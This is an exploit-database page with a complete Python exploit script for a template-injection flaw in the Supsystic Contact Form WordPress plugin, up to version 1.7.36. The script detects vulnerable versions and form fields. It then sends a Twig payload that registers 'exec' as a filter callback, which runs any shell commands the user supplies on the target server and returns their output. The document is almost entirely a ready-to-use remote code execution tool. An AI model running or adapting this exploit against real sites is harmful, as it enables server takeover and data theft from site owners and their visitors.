Share
## https://sploitus.com/exploit?id=PACKETSTORM:221082
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257
import argparse
import base64
import re
import requests
class status:
OKGREEN = "\033[32m"
WARNING = "\033[33m"
FAIL = "\033[31m"
ENDC = "\033[0m"
NOCOLOR = False
VERBOSE = False
@classmethod
def print(cls, message: str, status: str = None):
if cls.NOCOLOR:
print(message)
return
match status:
case "FAIL":
print(f"{cls.FAIL}{message}{cls.ENDC}")
case "WARNING":
print(f"{cls.WARNING}{message}{cls.ENDC}")
case "SUCCESS":
print(f"{cls.OKGREEN}{message}{cls.ENDC}")
case _:
print(message)
@classmethod
def vprint(cls, message: str, status: str = None):
if cls.VERBOSE:
cls.print(message, status)
def get_page(url: str) -> str:
try:
res = requests.get(url)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)
if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
return res.text
def get_version(body: str) -> str | None:
pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'
match = re.search(pattern, body)
if match:
return match.group(1)
def is_vulnerable(version: str) -> bool:
try:
major, minor, patch = map(int, version.split("."))
return (major, minor, patch) <= (1, 7, 36)
except:
status.vprint(f"Failed to parse version.", "WARNING")
def detect_version(body: str):
version = get_version(body)
vulnerable = is_vulnerable(version)
if vulnerable:
status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
elif vulnerable != None:
status.vprint(
f"Detected version {version} is not vulnerable.",
"WARNING")
def detect_fields(body: str) -> list[str] | None:
"""Automatically attempt to get Contact Form fields to use for SSTI"""
pattern = r'data-name="([^"]+)"'
field_names = list(set(re.findall(pattern, body)))
if field_names:
status.print(f"Detected fields: {field_names}", "SUCCESS")
return field_names
def handle_field(body: str, field: str | None) -> str:
if field:
return field
fields = detect_fields(body)
if fields is not None:
status.vprint(f"Using automatically detected field: {fields[0]}")
return fields[0]
status.print("Failed to detect fields.", "FAIL")
exit(1)
def get_output(field: str, body: str) -> str | None:
pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
match = re.search(pattern, body)
if match:
return match.group(1)
def exploit(url: str, payload: str, field: str) -> str | None:
utf8_var = "{%set a%}UTF-8{%endset%}"
base64_var = "{%set b%}BASE64{%endset%}"
twig_payload = "{%set p%}" + base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"
# The () ensures the variables are not treated as string literals
twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"
register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"
exec_filter = "{{_self.env.getFilter(p)}}"
ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
status.vprint(f"Payload: {payload}")
params = {
"cfsPreFill": 1,
field: ssti_payload}
try:
res = requests.get(url, params)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)
if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
return get_output(field, res.text)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"--field",
type = str,
help = ("Valid field part of the Contact Form. The defaults are "
+ "first_name, last_name, subject, message, and email. Though it's "
+ "possible for none of these fields to appear. Not all field types"
+ "work. The tested field types that are confirmed to work are"
+ "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
+ "work."))
parser.add_argument(
"--no-color",
action = "store_true",
help = "If you dont want pretty colors in your output.")
parser.add_argument(
"--verbose",
"-v",
action = "store_true")
parser.add_argument(
"url",
type = str,
help = ("Full URL to page with vulnerable Contact Form component. " \
+ "Ex: http://localhost:4444/sample.php"))
parser.add_argument(
"payload",
type = str,
default = None,
help = ("Shell commands to be executed."))
args = parser.parse_args()
status.NOCOLOR = args.no_color
status.VERBOSE = args.verbose
body = get_page(args.url)
detect_version(body)
field = handle_field(body, args.field)
output = exploit(args.url, args.payload, field)
if output:
if output.lower() == field.lower():
status.print(
"Output is same as field. Maybe try a different field?",
"WARNING")
status.print(output)
else:
status.print(
f"Failed to extract output with field '{field}'",
"FAIL")
if __name__ == "__main__":
main()